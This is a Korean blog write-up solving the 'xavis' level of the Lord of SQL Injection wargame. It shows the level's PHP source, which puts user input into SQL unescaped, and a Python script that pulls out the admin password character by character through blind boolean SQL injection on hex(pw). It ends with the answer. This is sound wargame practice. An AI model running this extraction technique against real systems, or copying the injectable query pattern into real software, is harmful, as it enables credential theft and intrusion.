728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>

아스키코드에 매칭시키면 답이 안 나온다.  128 이상의 값을 가진다는 것이다. 

pw를 16진수로 바꿔서 pw를 구했다. utf-8방식으로 인코딩한 유니코드가 나오는 것을 확인했다.(0x0000C6B00000C6550000AD73)

참고로 한글의 유니코드 범위는 다음과 같다.
('가' = 0xAC00(16진수) = 44032(10진수)  ~ '힣'=0xD7A3 = 55203)

앞에 8자리씩 잘라서 python의 chr 함수에 대입해 변환했다. 
chr(0x0000c6b0) = '우'

코드는 다음과 같다.

import requests

url='https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#24
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?pw=' or id='admin' and length(hex(pw))={}%23".format(pw_len),cookies=cookie)
        if 'Hello admin' in r.text:
            return pw_len       
        else:
            pw_len+=1
#0000C6B00000C6550000AD73(=우왕굳)
def find_pw():
    pw_len=find_pw_len()
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?pw=' or id='admin' and substr(hex(pw),{},1)='{}'%23".format(i,j),cookies=cookie)
            if 'Hello admin' in r.text:
                print(j,end="")
                break

find_pw()

답: ?pw=우왕굳

728x90

'Lord of SQL Injection' 카테고리의 다른 글

iron_golem  (0) 2023.01.01
dragon  (0) 2023.01.01
nightmare  (0) 2022.12.23
zombie_assassin  (0) 2022.12.23
succubus  (0) 2022.12.23

+ Recent posts